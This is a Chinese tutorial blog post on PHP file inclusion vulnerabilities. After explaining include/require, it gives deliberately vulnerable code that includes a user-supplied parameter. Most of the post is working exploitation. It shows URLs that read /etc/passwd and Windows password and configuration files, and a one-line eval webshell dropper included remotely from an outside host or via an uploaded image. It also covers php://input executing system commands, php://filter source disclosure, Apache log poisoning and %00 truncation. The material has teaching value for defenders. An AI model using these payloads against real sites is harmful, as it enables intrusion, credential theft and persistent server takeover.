文件包含漏洞

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用其它函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般称为包含

程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞

PHP包含

php中提供四个文件包含的函数,分别是include(),include_once(),require()和require_once()。这四个都可以进行文件包含,但有区别

require找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
include找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行
include_once:此语句和include雷系,唯一区别就是如果该文件中的代码已经被包含,则不会再次包含

require_once 此语句和require类似,唯一区别就是如果该文件中的代码已经被包含。则不会再次包含

文件包含示例

PHP中的文件包含分为本地包含和远程包含。

服务器环境为:
PHP 5.2.14
Mysql 5.1

Apache 2.0.63 (Win32)

1. 本地包含

ArrayUtil.php 文件提供了字符串操作函数

<?php
	function PrintArr($arr,$sp="-->",$lin="<br/>") {
		foreach($arr as $key => $value) {
			echo "$key $sp $value $lin" ;
		}
	}
	...
	...
?>

Index.php对ArrayUtil.php进行包含,并且使用PrintArr函数

<?php
	include("ArrayUtil.php")            //包含ArrayUtil.php
	$arr=array("张三","李四","王五");
	PrintArr($arr,"==>");               //使用ArrayUtil.php中的PrintArr函数
?>

Index.php文件执行结果正常

0 ==> 张三
1 ==> 李四
2 ==> 王五

下面再看一个例子,phpinfo.txt是一个正常的文本文件,单文件内容却是符合php语法的代码

<?php
	phpinfo();
?>

在Index.php文件中包含phpinfo.txt,代码如下:

<?php
	include("phpinfo.txt");     //包含txt文件
?>

在浏览器访问Index.php却显示phpinfo内容,之后改变文件扩展名为:jpg,rar,xxx,doc等进行测试发现都可以显示phpindo信息。由此,只要文件符合PHP语法规范,那么任何扩展名都可以被PHP解析。

2. 远程包含

需要确定PHP是否开启远程包含选项 在php.ini文件中修改

allow_url_include=Off              //把Off改为On

http://www.2cto.com/根目录下存在php.txt

<?php
	echo "Hello World";
?>

Index.php代码

<?php
	include($_GET['page']);
?>

访问:

http://www.xxser.com/Index.php?page=http://www.2cto.com/php.txt

文件包含漏洞

<?php
	if(isset($_GET['page'])) {
		include $_GET['page'];
	} else {
		include 'home.php';
	}	
?>

PHP前台代码如下:

<a href="Index.php?page=main.php">主页</a>
<a href="Index.php?page=news.php">新闻</a>
<a href="Index.php?page=down.php">下载</a>

攻击者不会乖乖的按照程序指定好的规则去访问,如:http://www.xxser.com/index.php?page=xxx.php

访问上述URL会包含xxx.php,但xxx.php在服务器端不存在,所以会出现以下警告,暴露网站的绝对路径

Warning: include(xxx.php) [function.include]: failed to open stream: No such files or directory in F:\php\index.php on line 4

...

PHP文件包含利用

(1). 读取敏感文件

访问:

 http://www.xxser.com/index.php?page=/etc/password

如果目标主机文件存在,并切有相应的权限,就可以读出文件的内容。反之,会得到一个类似与: open_basedirrestriction in effect的警告

常见敏感信息如下:
win:
C:\boot.ini                                       //查看系统版本
C:\windows\system32\instsrv\MetaBase.xml          //IIS配置文件
C:\windows\repair\sam                             //存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini                     //mysql配置
C:\Program Files\mysql\data\mysql\user.MYD        //Mysql root
C:\Windows\php.ini                                //php配置信息
C:\Windows\my.ini                                 //Mysql配置信息


 UNIX/Linux
/etc/passwd                                       
/usr/local/app/apache2/conf/extra/httped-vhosts.conf //虚拟网络设置
/usr/local/app/apache2/conf/httpd.conf               //apache2默认配置文件
/usr/local/app/php5/lib/php.ini                      //php相关设置
/etc/httpd/conf/httpd.conf                           //apache配置文件

/etc/my.conf                                         //Mysql配置文件


(2). 远程包含Shell

如果目标主机的allow_url_fopen是激活的,就可以尝试远程包含一句话木马,如: http://www.2cto.com/echo.txt

代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval ($_POST[xxser]);?>")?>

访问:

 http://www.xxser.com/Index.php?page=http://www.2cto.com/echo.txt,

将会在Index.php所在的目录下生成shell.php

(3). 本地包含配合文件上传

很多网站通常会提供文件上传的功能,比如:上传头像、文档等。假设已经上传一句话图片木马到服务器,路径为:

/uploadfile/201363.jpg

图片代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>

访问URL: 

http://www.xxser.com/Index.php?page=./iploadfile/201363.jpg,

包含这张图片,将会在Index.php所在的目录中生成shell.php

(4). 使用PHP封装协议

PHP带有很多内置的URL风格的封装协议,,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。

file://              访问本地文件系统
http://              访问HTTP(s)网址
php://               访问输入/输出流
zlib://              压缩流
data://              数据
ssh2://              Secure Shell 2
expect://            处理交互式的流

glob://              查找匹配的文件路径

使用封装协议读取PHP文件

使用PHP封装协议内置封装协议可以读取PHP文件。

http://www.xxser.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php5/lib/php

得到base64加密的php源码

写入php文件

使用php://input执行php语句,但使用这条语句时需要注意: php://input受限于allow_url_include。

构造URL: 

http://www.xxser.com/index.php?page=php://input,

并且提交数据为: <?php system ('net user');?>

如果提交<?fputs(fopen("shell.php","w"),"<?php eval($_POST['xxser']);?>")?>将会在index.php所在目录下生成shell.php

(5). 包含Apahce日志文件

Apache运行后一般默认生成两个日志文件,一个是access.log和error.log,Apache访问日志文件记录了客户端的每次请求及服务器响应的相关信息,例如,当我们请求Index.php时,Apache就会记录我们的操作,并且写到访问日志文件access.log中

当访问一个不存在的资源时,Apache日志同样会记录

这就意味着,如果网站存在本地包含漏洞,却没有可以包含的文件时,就可以去访问URL: http://www.xxser.com/<?php phpinfo();?>.Apache会记录请求"<?php phpinfo();?>"

并写到accsee.log文件中,这时再去包含Apache的日志文件,就可以利用包含漏洞。

但实际是不可行的,因为在访问URL后一句话木马在日志文件里变形了

127.0.0.1 - - [04/Jun/2013:15:04:22 +0800] "GET /%3C?php%20phpinfo();)?%3E HTTP/1.1" 403 291


PHP代码中的"<,>,空格"都被浏览器转码了,这样就无法利用Apache包含漏洞。

但可以通过Burp绕过编码

再利用accsee去包含accsee.log,即可成功执行其中的PHP代码

在使用Apache日志文件包含时,首先需要确定Apache的日志路径,否则即使攻击者将PHP写入日志文件,也无法包含

(6). 截断包含

很多程序员认为PHP中的包含漏洞比较好修复,固定扩展名即可

<?php
	if(isset($_GET['page'])) {
		include $_GET['page'].".php";
	} else {
		include 'home.php';
	}	
?>

当进行文件包含时,不需要传输文件扩展名,这样就可以变相的修复包含漏洞

假设上传一句话图片木马文件的路径为/uploadfile/20130606.jpg,当包含这样的图片。URL: HTTP://www.xxser.com/index.php?page=./uploadfile/20130606.jpg,在PHP却会包含/uploadfile/20130606.jpg.php,而20130606.jpg.php是不存在的,使得包含漏洞无法利用

攻击者可以使用截断的方法突破代码

URL:

 http://www.xxser.com/index.php?page=1.jpg,

1.pg代码为<?php phpinfo();?>

会出现以下错误

Warning: include(1.jpg.php) [function.include]: failed to open stream: No such file or directory in ...

因为找不到 1.jpg.php,所以无法包含,现在输入: 

http://www.xsser.com/index.php?page=1.jpg%00

结果返回phpinfo()的信息

这种方法只适用于magic_quotes_gpc=Off时,开启时%00会被转义。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值